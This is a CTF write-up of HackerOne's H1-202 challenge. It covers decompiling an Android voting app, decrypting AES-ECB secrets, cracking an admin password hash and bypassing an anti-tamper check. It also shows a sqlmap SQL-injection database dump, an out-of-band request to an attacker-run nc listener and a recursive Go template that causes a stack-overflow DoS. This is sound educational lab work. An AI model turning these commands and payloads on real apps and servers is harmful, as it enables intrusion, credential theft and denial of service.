Another great CTF organized by Hackerone, another sleepless weekend! This time, the prize is a free trip to Washington, DC for their private event H1-202. Participants had to reverse an Android app and hack websites to find flags. Honestly, I really enjoyed this concept. The idea of having only one app for a CTF, with an API and everything that Iβm going to show you in this writeup, feels more like real-world than the H1-702 CTF challenges. Great job!
Congratulations @corb3nik, from OpenToAll, for finishing the CTF in 1st place. I finished the competition in 2nd place, a few hours later π
Six challenges, one single Android app. Mobile, Web and Reverse. Awesome! You can get the APK here, if youβre interested. I started the Android SDK emulator and installed the APK. The app looks like this:
The first flag is directly in the app. Can you find it?
β strings app-release.apk | grep flag
##flag{easier_th4n_voting_for_4_pr3z}
first_flag
Easy peasy, but I need to warm up the engine! After extracting the package, I also found the first flag on the app resources.
./res/values/strings.xml:45: <string name="first_flag">flag{easier_th4n_voting_for_4_pr3z}</string>
Meet the Candidates
Kate is a high school student from New York City and has been hacking since she was 12 years old. She enjoys hanging out at hacking nightclub cyberdelia and playing Wipeout the arcade game. She is well known for hacking the Gibson and for stopping the computer virus Da Vinci. She is also known for being a founder of the term, βHack The Planet!β
I decompiled the app with JADX and started to inspect the code. I used the argument -e
in order to export a gradle project that can be imported on Android Studio. The cool thing about it: you can just right click a given function and find usages, even if class names are stripped. Given the title of this challenge, the java class com.hackerone.candidatevote.f caught my attention instantly.
package com.hackerone.candidatevote;
import ...
public class f {
public static SecretKey a(Context context) {
return new SecretKeySpec(context.getString(R.string.title_for_the_current_time).getBytes(), "AES");
}
public static byte[] a(String str, SecretKey secretKey) {
Cipher instance;
GeneralSecurityException e;
byte[] bArr;
Exception e2;
try {
instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
} catch (NoSuchAlgorithmException e3) {
e = e3;
e.printStackTrace();
instance = null;
instance.init(1, secretKey);
...
...
}
}
Black magic? No! Military grade encryption? Who knowsβ¦ Well, itβs AES in ECB mode and we have the secret key: R.string.title_for_the_current_time
. Inspect the resources and youβll find the value in strings.xml:
<string name="title_for_the_current_time">AAAAAAAAAAAAAAAA</string>
I found one usage of these functions in the Main Activity class:
protected void onCreate(Bundle bundle) {
...
Log.d("TEST", "Helper for when I need to decrypt things: " + a(f.a("testing encryption", f.a(this))));
...
}
Note that the functions have the same name, but they are different. The first f.a
is the second function of the previous decompiled code, which encrypts a string, and the second one is the function that constructs the SecretKey. So, I inspected this log using adb logcat -s "TEST"
and the output was:
918F8C525BDCCE95622B19EDB2EE52E0C996C39CF4A70DC1D9F84BF35098D15A
Decrypting this hex encoded string results in βtesting encryptionβ. So, whereβs the encrypted flag?
public class MainActivity extends AppCompatActivity {
...
static {
System.loadLibrary("native-lib");
}
...
native void aaaa(String str);
native void aaaaaaaaa(String str);
...
aaaa("1E7746CB4B982418E917EDD07F6ACFFA");
...
aaaaaaaaa("DDC09B1C11F8675E0186310A6B36002D");
...
}
These aa*
functions are invoked not only on the Main Activity, but also on other classes. Now, itβs time to understand whatβs going on inside the native library. I like the x86_64 architecture, so I chose to analyze the respective binary, but the app was also compiled for armv7, arm64 and x86. Letβs take a look on MainActivity.aaaa
:
Basically, this results in the following behavior:
bigThing[0xc] = str_arg[0:16]
bigThing[0xd] = str_arg[16:32]
I inspected every aa*
function and obtained the final state of the bigThing
.
from Crypto.Cipher import AES
pkcs5_unpad = lambda s : s[0:-ord(s[-1])]
cipher = AES.new("A"*16) # default mode: ECB
enc = "DDC09B1C11F8675E0186310A6B36002D"
enc += "9D2A44020EA764B6AD790A9B1E894BFE"
enc += "5055DEAA9850A19FB67D4E76BC8FD825"
enc += "91C6DD1299FD5D1DE9C4A0C78616D244"
enc += "44648798D358E60D7C4D29B5469CAEA8"
enc += "A76CBBE4FA5619E360BF7DFC77D1D49E"
enc += "1E7746CB4B982418E917EDD07F6ACFFA"
print(pkcs5_unpad(cipher.decrypt(enc.decode("hex"))))
β python decrypt.py
electionAdmin:$apr1$Qk6pnugW$FxFFxsg8Ad0QVemp3sSSH.
51 characters⦠and the ciphertext length was 112. Wut?
β python decrypt.py | xxd
00000000: 666c 6167 7b77 3077 5f69 5f73 6565 5f75 flag{w0w_i_see_u
00000010: 5f63 616e 5f64 6f5f 6465 6372 7970 7469 _can_do_decrypti
00000020: 6f6e 7d0d 0d0d 0d0d 0d0d 0d0d 0d0d 0d0d on}.............
00000030: 656c 6563 7469 6f6e 4164 6d69 6e3a 2461 electionAdmin:$a
00000040: 7072 3124 516b 3670 6e75 6757 2446 7846 pr1$Qk6pnugW$FxF
00000050: 4678 7367 3841 6430 5156 656d 7033 7353 Fxsg8Ad0QVemp3sS
00000060: 5348 2e0a SH..
Hell yeah! It makes perfect sense. The PKCS5 padding value was \x0d
, our friend CR (carriage return). The flag was encrypted on the first 3 blocks only. Then, we have some credentials.
At this point, I tried to crack the password hash before solving more challenges. This hash was an APR1, an βApache-specific algorithm using an iterated (1000 times) MD5 digestβ. John The Ripper supports this task:
β john --show hash.txt
electionAdmin:pickles
1 password hash cracked, 0 left
This step was not required to solve these challenges, but it was really useful to inspect the application traffic in order to understand how it communicates with the server. I didnβt have my emulator configured at the time to intercept HTTPS requests with certificate pinning, which is implemented by the class CandidateClient
:
package com.hackerone.candidatevote;
import ...
public class CandidateClient {
public static d a() {
aaaaaaaaaa("A76CBBE4FA5619E360BF7DFC77D1D49E");
return (d) c().a(d.class);
}
...
private static m c() {
x a = new a().a(new g.a().a("api-h1-202.h1ctf.com", "sha256/2Bp6rERcJhrnVVc2OIbB/huXhOy6RFp/IMvk1AfBjvU=").a()).a();
aaaaaa("9D2A44020EA764B6AD790A9B1E894BFE");
return new m.a().a("https://api-h1-202.h1ctf.com/").a(c.a.a.a.a()).a(a).a();
}
}
I found it easier to patch the HTTPS Url and change it to HTTP. However, there was a simple anti-tampering mechanism implemented in the AntiTamper class:
public static boolean a(Context context) {
ZipFile zipFile;
long parseLong = Long.parseLong(context.getString(R.title_for_another_day));
try {
zipFile = new ZipFile(context.getPackageCodePath());
} catch (IOException e) {
e.printStackTrace();
zipFile = null;
}
ZipEntry entry = zipFile.getEntry("classes.dex");
Log.d("TAMPER", "" + entry.getCrc());
if (entry.getCrc() != parseLong) {
return true;
}
aaaaaaaaaaaaaa("5055DEAA9850A19FB67D4E76BC8FD825");
return false;
}
Among other things, this class inspects if Frida is running on the device and checks if Xposed Framework or Cydia Substrate are present. In the previous function, the CRC of the ZIP must match the one included in the app resources (375889119). Itβs easy to modify this function in order to allow further modifications in the app like the HTTPS Url: just make the function always return false
. Iβm not going to explain how I used Apktool to do this, since it is already explained here. In this case, I replaced const/4 v0, 0x1
with const/4 v0, 0x0
in the AntiTamper.smali file, recompiled and signed the new APK. Then, I started my emulator with the -http-proxy
option and started intercepting requests with Burp.
The API endpoints were also available in the interface com.hackerone.candidatevote.d
. However, thanks to Burp, I knew exactly the parameters and methods of every endpoint. Itβs also important to mention that we need to provide the X-API-AGENT
header, otherwise the API will return a 417 response code (Expectation Failed).
...
public interface d {
@k(a = {"X-API-AGENT: ANDROID"})
@f(a = "/candidates") // GET
b<ArrayList<c>> a();
@k(a = {"X-API-AGENT: ANDROID"})
@o(a = "/user/login") // POST
b<b> a(@a h hVar);
@p(a = "/vote/{id}") // PUT
@k(a = {"X-API-AGENT: ANDROID"})
b<a> a(@i(a = "X-API-TOKEN") String str, @s(a = "id") int i);
@k(a = {"X-API-AGENT: ANDROID"}) // POST
@o(a = "/candidates")
b<a> a(@i(a = "X-API-TOKEN") String str, @a c cVar);
@k(a = {"X-API-AGENT: ANDROID"})
@o(a = "/user/register") // POST
b<b> b(@a h hVar);
}
The admin forgot to remove the code update endpoint. I wonder what secrets they left in there?
This endpoint is defined on the com.hackerone.candidatevote.e
interface:
public interface e {
@k(a = {"X-API-AGENT: ANDROID"})
@f(a = "/code")
b<ad> a(@i(a = "token") String str, @t(a = "app") String str2);
}
I found that this interface is used on the function CandidateClient.b()
, which is called on the Main Activity. I sent a request to http://api-h1-202.h1ctf.com/code and received this error: {"error":"Did not provide app query param"}
. Sending a request to /code?app=test
results in the following response: {"error":"Could not find application"}
. While inspecting the Main Activity code we can easily uncover the correct app name:
public void l() {
if (this.q != null) {
CandidateClient.b().a(this.q, "client").a(new d<ad>(this) {
final /* synthetic */ MainActivity a;
...
After sending a request to /code?app=client
, we get a new file to analyze: client.jar
After decompiling the JAR, we can find some interesting code:
package pinkfloyd;
import go.Seq;
public abstract class Pinkfloyd { private Pinkfloyd() {}
public static void touch() {}
private static native void _init();
public static native void darkSideOfTheMoon();
static { Seq.touch();
_init();
}
}
I found that darkSideOfTheMoon
was never called. So, I started a new Android Studio project, included the JNI libs, tried to replicate the code and called this function.
Then, a nice flag pops on the application logs!
I analyzed it later and the native library was written in Go and this function just decrypts and prints the flag using a XOR cipher.
That is a nice voting API server you got there. I bet you have a good DB too!
At this point, I didnβt find any SQL injection on the API, so I fired up dirsearch several times and I preprended known endpoints. Suddenly, a wild endpoint appears!
This endpoint was vulnerable to SQL injection. Itβs possible to extract information because if the query doesnβt return any result, we receive a 404 response code.
Now itβs trivial to use a tool like sqlmap to dump the database ( sorry @breadchris :p ). The flag for this challenge was on the table secret_flags
.
./sqlmap.py --headers="X-API-AGENT:ANDROID" -u "http://api-h1-202.h1ctf.com/candidates/1" \
--dump --dbms sqlite
...
Database: SQLite_masterdb
[4 tables]
+-----------------+
| candidates |
| secret_flags |
| sqlite_sequence |
| users |
+-----------------+
...
Database: SQLite_masterdb
Table: candidates
[3 entries]
+----+---------------------------------+------------------------+-------+
| id | url | name | votes |
+----+---------------------------------+------------------------+-------+
| 1 | https://i.imgur.com/IjS8J4j.png | Elliot Anderson | 5 |
| 2 | https://i.imgur.com/QomAW0E.png | Kate "Acid Burn" Libby | 10 |
| 3 | https://i.imgur.com/0ZY5JsB.png | Irwin "Whistler" Emery | 3 |
+----+---------------------------------+------------------------+-------+
...
β ./sqlmap.py --headers="X-API-AGENT:ANDROID" -u "http://api-h1-202.h1ctf.com/candidates/1" \
--dump --dbms sqlite -T secret_flags
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://api-h1-202.h1ctf.com:80/candidates/1 AND 1412=1412
---
[03:30:22] [INFO] testing SQLite
[03:30:22] [INFO] confirming SQLite
...
Table: secret_flags
[1 entry]
+----+-----------------------------------------+
| id | flag |
+----+-----------------------------------------+
| 1 | flag{uh_oh_you_sh0uldnt_be_seeing_this} |
+----+-----------------------------------------+
Meet the Candidates
Irwin is a security specialist based in San Francisco. He is well known for cracking a special encryption device made by Setec Astronomy. Irwin is legally blind and has exceptional sensory skills. He has been able to geo-locate people via sound analysis of recorded traffic patterns.
There was one interesting function on the native library of the main application: AddCandidateActivity.getJs
, which returns one line of Javascript code, that can be easily transformed in the following code:
var a=['aHR0cDovL2xvY2FsaG9zdDo5MDAxL2FkbWlu','c2V0UmVxdWVzdEhlYWRlcg==','QmFzaWMg','aWZvcmdvdDp0aGVwYXNzd29yZA==','c2VuZA==','YXBwbHk=','SUthTWQ=','YWV2QW0=','WUxBRnA=','U01rR2I=','Y29uc29sZQ==','Nnw1fDF8M3wyfDR8MHw4fDc=','b25pSE4=','c3BsaXQ=','ZXhjZXB0aW9u','d2Fybg==','aW5mbw==','ZGVidWc=','ZXJyb3I=','bG9n','dHJhY2U=','cmVzcG9uc2VUZXh0','aGFzT3duUHJvcGVydHk=','cHVzaA==','d1VkUnk=','am9pbg==','Z2V0TmFtZQ==','Z2V0VXJs','PGgxPkNhbmRpZGF0ZTwvaDE+PGgzPk5hbWU6IHt7IC5OYW1lIH19PC9oMz48aW1nIHNyYz0ie3sgLlVybCB9fSIgLz4=','YWRkRXZlbnRMaXN0ZW5lcg==','bG9hZA==','b3Blbg==','R0VU'];
// scrambles the contents of the previous array
(function(c,d){
var e=function(f){
while(--f){
c['push'](c['shift']());
}
};
e(++d);
}(a,0x1b2));
// base64 decodes a given index of the array
var b=function(c,d){
c=c-0x0;
var e=a[c];
if(b['initialized']===undefined){
(function(){
var f;
try{
var g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');
f=g();
}catch(h){
f=window;
}
var i='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
f['atob'] || (f['atob']=function(j){
var k=String(j)['replace'](/=+$/,'');
for(var l=0x0,m,n,o=0x0,p='';n=k['charAt'](o++);
~n&&(m=l%0x4?m*0x40+n:n,l++%0x4)?p+=String['fromCharCode'](0xff&m>>(-0x2*l&0x6)):0x0){
n=i['indexOf'](n);
}
return p;
});}());
b['base64DecodeUnicode']=function(q){
var r=atob(q);var s=[];
for(var t=0x0,u=r['length'];t<u;t++){
s+='%'+('00'+r['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(s);
};
b['data']={};
b['initialized']=!![];
}
var v=b['data'][c];
if(v===undefined){
e=b['base64DecodeUnicode'](e);
b['data'][c]=e;
} else{e=v;}
return e;
};
var e=function(){
var f=!![];
return function(g,h){
var i=f?function(){
if(h){
var j=h[b('0x0')](g,arguments);
h=null;
return j;
}
}:function(){
};
f=![];
return i;
};
}();
var k=e(this,function(){
...
// this just prevents debugging using console functions
});
k();
function D(){
document['write'](this[b('0x10')]);
}
serialize=function(E){
var F={'wUdRy':function G(H,I){return H+I;}};
var J=[];
for(var K in E)
if(E[b('0x11')](K)){
console.log(K);
J[b('0x12')](F[b('0x13')](encodeURIComponent(K)+'=',encodeURIComponent(E[K])));
}
return J[b('0x14')]('&');
};
// A -> javascript interface
var L=A[b('0x15')](); //getName() from the activity javascript interface
var M=A[b('0x16')](); //getUrl() from the activity javascript interface
var N=b('0x17'); //"<h1>Candidate</h1><h3>Name: { { .Name }Β }</h3><img src="{Β { .Url }Β }" />"
var O=serialize({'name':L,'image':M,'t':N}); //parameters: name, image, t
var P=new XMLHttpRequest();
P[b('0x18')](b('0x19'),D); //addEventListener, load
P[b('0x1a')](b('0x1b'),b('0x1c')); //open, GET, http://localhost:9001/admin
P[b('0x1d')]('Authorization',b('0x1e')+btoa(b('0x1f'))); //setRequestHeader, Basic btoa("iforgot:thepassword")
P[b('0x20')](); //send
First, I found that we would need to login as admin to get to this activity. However, I patched the app to always start this activity, even if the API returns admin: false
after login. Then, I used Google Chrome Dev Tools (chrome://inspect) to debug the WebView of this activity, which allowed me to understand what was happening, as you can see in the extra comments of the previous snippet of code. So, I was wondering what should we do with this. I talked to an admin on Slack and he noticed that he forgot to update the URL: s/localhost:9001/admin-h1-202.herokuapp.com/g
Navigating to http://admin-h1-202.herokuapp.com/admin asks for credentials in order to perform HTTP Basic Auth. I used the previously obtained credentials βelectionAdminβ and βpicklesβ to login. A new error appears: {"error":"Did not provide t query param"}
. So, I need to use the parameters from the JS code. I sent the URL of my server (http://admin-h1-202.herokuapp.com/admin?t={β{.Name}β} {β{.Url}β}&name=test&image=http://REDACTED:1337) in image parameter and received a request with the flag!
$ nc -lvp 1337
listening on [any] 1337 ...
connect to [REDACTED] from ec2-54-205-42-160.compute-1.amazonaws.com [54.205.42.160] 42260
GET / HTTP/1.1
Host: REDACTED:1337
User-Agent: Go-http-client/1.1
Challenge: Calling out Foul Play
Flag: flag{wow_look_at_u_with_ur_server_n_shit}
Accept-Encoding: gzip
Meet the Candidates
Eliot is a senior network technician at Allsafe Cybersecurity and a vigilante hacker. He has social anxiety disorder and deals with clinical depression and delusions, which cause him to struggle socially and live isolated from other people. Eliot stays up to date on forums and boards, and maintains contacts through the internet. He is skilled in information gathering and observation, and demonstrates skills in social engineering, which allow him to learn as much as possible about the people around him.
As the name suggests, it should be possible to get another flag on the previous website. First, I noticed that the webapp was programmed in Go, since I explored the template documentation and the syntax was the same, no doubt.
I tried to mess around with GO templates since we can define the template in the t
parameter. Go templates seem to be secure, unlike what happens in other frameworks. Sometimes, template injection can lead to RCE. However, I found some cool stuff while I was trying to find a way to exploit them.
According to the documentation, we can execute the following functions: and
, call
, html
, index
, js
, len
, not
, or
, print
, printf
, println
and urlquery
. I really like format strings, so I tried to explore printf
, an alias for fmt.Sprintf
. Hereβs what I found:
Output: &main.Candidate{Name:"%#v", Url:"http://google.com"}
Output: 0xc4200e4900
I also found a way that cannot crash this service, but it can be used for a DoS in other programs, eventually, since it requires time to process. I coded a simple program in Go:
package main
import (
"log"
"os"
"text/template"
"bufio"
)
type Candidate struct {
Name string
Url string
}
func main() {
reader := bufio.NewReader(os.Stdin)
text, _ := reader.ReadString('\n')
s := Candidate{text, "http"}
//create a new template with some name
tmpl := template.New("test")
//parse some content and generate a template
text, _ = reader.ReadString('\n')
tmpl, err := tmpl.Parse(text)
if err != nil {
log.Fatal("Parse: ", err)
}
//merge template 'tmpl' with content of 's'
err1 := tmpl.Execute(os.Stdout, s)
if err1 != nil {
log.Fatal("Execute: ", err1)
}
}
Then, I tried to parse the following template: {β{define βTβ}β}{β{template βTβ}β}{β{end}β}{β{template βTβ}β} and guess whatβ¦
Recursion is hard
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
runtime stack:
runtime.throw(0x5844e0, 0xe)
/usr/lib/go-1.6/src/runtime/panic.go:547 +0x90
runtime.newstack()
/usr/lib/go-1.6/src/runtime/stack.go:940 +0xb11
runtime.morestack()
/usr/lib/go-1.6/src/runtime/asm_amd64.s:359 +0x7f
goroutine 1 [stack growth]:
text/template.(*state).walk(0xc840100500, 0x0, 0x0, 0x0, 0x7ffff7f6f238, 0xc820018300)
/usr/lib/go-1.6/src/text/template/exec.go:209 fp=0xc8401002f0 sp=0xc8401002e8
Yeah, this was fun, but it turns out I was blind. Remember that /code
endpoint? I bruteforced it with common English words. It stopped at the word server
. What a nice surprise. Anyway, letβs move on and analyze the new file: server
This program requires three environment variables: $PORT, $FLAG1 and $FLAG2. I executed it and this program was, in fact, the same that was running on the server. First, I tried to understand what flag was being sent in the header: it was the $FLAG1. So, we need to find a way to get $FLAG2.
In order to reverse this stripped Go binary, I used a script for IDA to rename functions: https://gitlab.com/zaytsevgu/goutils. This function was interesting:
There was a reference on .rodata for this function: rodata:off_A57FC0, so there is a function pointer on 0xA57FC0
:
.rodata:0000000000A57FC0 off_A57FC0 dq offset main_getFlag ; DATA XREF: main_GetAdminPage+B5
.rodata:0000000000A57FC0 ; main_GetAdminPage+10C3
I was suspicous about custom functions in Go templates. I realized that Template.Funcs
is called in the binary!
I set a breakpoint on this call and started hunting for strings:
gefβ€ b *0x8F34EF
gefβ€ r
[New LWP 1476]
[New LWP 1477]
[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
- using env: export GIN_MODE=release
- using code: gin.SetMode(gin.ReleaseMode)
[GIN-debug] GET /admin --> main.GetAdminPage (3 handlers)
[GIN-debug] Listening and serving HTTP on :9999
Thread 1 "server" hit Breakpoint 1, 0x00000000008f34ef in ?? ()
...
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ stack ]ββββ
0x000000c420041788β+0x00: 0x000000c4201b70e0 β 0x0000000000000000 β $rsp
0x000000c420041790β+0x08: 0x000000c420183890 β 0x0000000000000001
0x000000c420041798β+0x10: 0x0000000000a3a421 β 0x6761506e696d6461
0x000000c4200417a0β+0x18: 0x0000000000000009
0x000000c4200417a8β+0x20: 0x000000c4201a8568 β 0x000000c4201b70e0 β 0x0000000000000000
0x000000c4200417b0β+0x28: 0x0000000000000000
0x000000c4200417b8β+0x30: 0x000000c42010e900 β 0x0000000000a35fea β "GETGT;Gg;Gt;HanIf-Im;IntJanJulJunKeyLT;LaoLl;Lt;Ma[...]"
0x000000c4200417c0β+0x38: 0x0000000000000000
...
The argument of Template.Funcs
is probably a map struct. In Go, function arguments are passed in the stack unlike the standard x64, where arguments are passed in the registers. I found the correct function name: The string located at 0xa3b5cb
with length 0xb
.
gefβ€ x/4gx 0x000000c420183890
0xc420183890: 0x0000000000000001 0x266c8ceb00000000
0xc4201838a0: 0x000000c42009d320 0x0000000000000000 <- pointer to a string struct
gefβ€ x/4gx 0x000000c42009d320
0xc42009d320: 0x000000000000005c 0x0000000000a3b5cb <- pointer to the buffer
0xc42009d330: 0x000000000000000b 0x0000000000000000 <- string size
gefβ€ x/2gx 0x0000000000a3b5cb
0xa3b5cb: 0x5f5f5f5f5f5f5f5f 0x7364765f5f5f5f5f
To get the second flag, we just need to execute this function: /admin?t={β{___________}β}&name=ggwp&image=http://google.com
At this point, the server was offline. I couldnβt get my precious flag and I really needed to get some sleep, soβ¦
import requests, json, time
from twilio.rest import Client
import time
INTERVAL = 60
TWILIO_ACCOUNT_SID = "REDACTED"
TWILIO_AUTH_TOKEN = "REDACTED"
TWILIO_NUMBER = "REDACTED"
MY_NUMBER = "REDACTED"
XML_URL = "https://pastebin.com/raw/AYd4uZ70"
twilio_client = Client(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)
while True:
url = "http://admin-h1-202.herokuapp.com/admin?t=%7b%7b___________%7d%7d&name=ggwp&image=http://google.com"
if "error" not in requests.get(url, auth=("electionAdmin", "pickles")).text:
print(requests.get(url, auth=("electionAdmin", "pickles")).text)
call = twilio_client.calls.create(url=XML_URL, to=MY_NUMBER, from_=TWILIO_NUMBER)
break
print("Not working")
time.sleep(INTERVAL)
$ ./autocall.py
...
Not working
...
flag{did_you_have_fun_reversing_go?}